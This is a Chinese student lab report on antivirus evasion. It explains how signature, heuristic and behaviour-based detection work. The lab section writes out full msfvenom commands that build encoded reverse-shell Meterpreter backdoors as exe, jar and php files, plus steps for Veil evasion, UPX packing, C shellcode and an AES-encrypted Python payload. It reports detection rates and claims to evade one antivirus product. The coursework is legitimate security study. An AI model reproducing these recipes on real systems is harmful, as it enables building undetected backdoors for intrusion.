Exp3-免杀原理

Exp3-免杀原理



目录



1、基础问题回答

1.1 杀软检测出恶意代码的原理

1.1.1 基于特征码

参考

    特征码,就是防毒软件从病毒样本中提取的不超过64字节且能代表病毒特征的十六进制代码。主要有单一特征码、多重特征码和复合特征码这三种类型。
1.1.2 利用启发式恶意软件

参考

    启发式指的“自我发现的能力”或“运用某种方式或方法去判定事物的知识和技能。
    启发式分析也是少数能够抵抗多态病毒的方法之一-恶意代码是指不断变化和适应的术语。许多网络安全公司提供的高级安全解决方案中集成了启发式分析功能,可在新威胁造成危害之前检测出新威胁,而无需特定的签名。
1.1.3 基于行为

参考

    基于行为的恶意软件检测方法通过追踪恶意软件执行的行为轨迹来捕获程序的恶意活动。

1.2 什么是免杀

参考

    免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术

1.3 免杀的基本方法

参考

  • 手工修改
    • 数据
    • 代码
  • 工具免杀
    • 加资源
    • 替换资源
    • 加签名
    • PE优化
    • 增字节
    • 加壳
      • 加冷门壳
      • 加壳改壳
  • 行为动态免杀
    • 替换API
    • 未导出API
    • 重写API
1.3.1 改变特征码

https://blog.csdn.net/ws13129/article/details/98899870

1.3.2 改变行为

参考

  • 替换API
  • 未导出API
  • 重写API
  • API+5
  • 底层API
  • 合理替换调用顺序
  • 绕开调用源

1.4 杀软不能绝对保证计算机安全

浏览了一些网页,大多数都认为杀软能够保证电脑的绝对安全。这个结论并不是什么资深的程序员或者安全员给出的,只是网友的看法。强大如密码算法,也有被破解的可能。计算机在杀软的保护下面对恶意代码任然存在着很大的风险,比如人的影响、利用未知漏洞等,都能威胁到计算机的安全。

2、 实验内容

2.1 杀软测试环境

virusTotal将文件上传,自动检测文件是否会被杀毒软件发现。

本人电脑主机的防护措施:火绒、windows自身防护软件

2.2 正确使用msf编码器,生成exe、php、java文件,进行测试

  • exe
  1. 直接测试生成的后门软件

  1. 使用Unicode编码

a.仅进行一次编码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.130 LPORT=1326 -e x86/shikata_ga_nai -b '\x00' -f exe > backdoor20201326.exe

检测结果

b.进行多次编码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.130 LPORT=1326 -e x86/shikata_ga_nai -i 6 -b '\x00' -f exe > backdoor20201326_2.exe

检测结果

  • java
    生成代码
    msfvenom -p java/shell_reverse_tcp LHOST=192.168.92.130 LPORT=1326 -f jar > backdoor20201326.jar

检测结果

  • php
    生成代码
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.92.130 LPORT=1326 > backdoor20201326.php

测试结果

2.3 veil实践

2.3.1 使用veil

啊哈!去找一个已经安装好Veil的同学拷贝虚拟机吧,别浪费时间在安装上面。你想挑战一下,这里给你指条路--->传送门

我使用的别人的虚拟机

在终端输入veil,进入viel,再输入use evasion进入Evil--Evasion。

输入 use c/meterpreter/rev_tcp.py,开始配置

set LHOST 你的kali的ip
set LPORT 你的学号做端口号
generate

检测结果

  • exe
  • c

    可能因为源代码未编译的原因,这里查不出。
2.3.2 加壳免杀尝试

生成程序
upx 20204322jjweil.exe -o 20204322jjweil_pro.exe

检测结果

2.4 C + shellcode 免杀实践

生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.130 LPORT=1326 -f c
编辑vim 20201326.c 编写源文件

编译文件

检测结果

将文件夹解压,得到里面的20201326.exe文件,火绒立刻识别出他的问题。

2.5 通过组合应用各种技术尝试恶意代码免杀

利用 python + aes_encrypt

打开终端输入veil,在输入evasion。输入use python/meterpreter/rev_tcp.py,进入配置界面。

输入代码
set LHOST 192.168.92.130
set LPORT 1326
generate

检测结果

  • jj20201326.py

  • setup.py

  • 运行bat文件
  • 文件解压

2.6 实验结论

  • 使用msf编码器对恶意代码进行Unicode编码,对免杀效果没有太大影响(前:52/69 后:53/69)。但是将exe文件改为php(25/59)或者java(33/61)就会使得被检出的概率大大降低。exe文件被火绒警告。
  • 使用veil后的结果前40/69,加壳后42/69。对于源代码.c文件没有检测出来是因为源代码不可执行,还没有经过编译。exe会被火绒警告。
  • 使用C + shellcode。结果(34/69),会立即被火绒发现。
  • 最后一种办法,也是最有效的办法。jj20201326.py的检测结果(9/59),setup.py没有被检测出来,运行.bat文件火绒也没有警告,在解压过程中火绒也没给出警告。我认为这里实现了针对火绒的免杀。

3、实验总结

    本次实验,完成难度不大,但是一直不明白其中的具体过程,就仅仅是简单的运用这些工具,针对免杀的一些特点以及按照实验指导书来实现免杀。
    免杀也就是能够躲过计算机防御系统的清查,最后侵入计算机系统。这次实验中了解到了很多的免杀手段,也得知了,不仅仅是exe文件是恶意代码或者恶意程序,.jar或者.php或者.py都可以是。
    这些免杀的操作,在实验操作后觉得并不难。如果敌手经过比较系统的免杀训练,那么他可以根据攻击对象的使用电脑的习惯,以及电脑配置的安全防护措施,做针对性的攻击。就比如我的电脑火绒对于.py是无法识别的,那么就可以利用这一点,对我的电脑进行攻击。
    最后在本次实验过程总,从网上摘抄下一句话:
    ————我们不做坏事,但是可以了解做坏事的手段,更好的破坏和防御这些手段。
posted @ 2023-03-30 22:10  岳华  阅读(37)  评论(0编辑  收藏  举报